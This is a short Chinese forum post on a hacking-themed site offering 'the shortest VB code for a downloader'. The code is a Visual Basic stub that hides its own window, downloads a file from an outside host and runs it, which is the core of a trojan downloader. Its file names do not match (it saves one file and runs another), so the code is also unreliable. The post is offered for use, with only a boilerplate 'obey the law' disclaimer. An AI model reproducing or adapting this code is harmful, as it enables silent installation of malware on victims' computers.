HanDs
管理员

[Visual Studio文章] 用VB写下载者最短代码 



Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.VISIBLE = false
DownloadFile "
http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\FHQ40.RAR"
End If
End Function


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
V B 下载 代码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复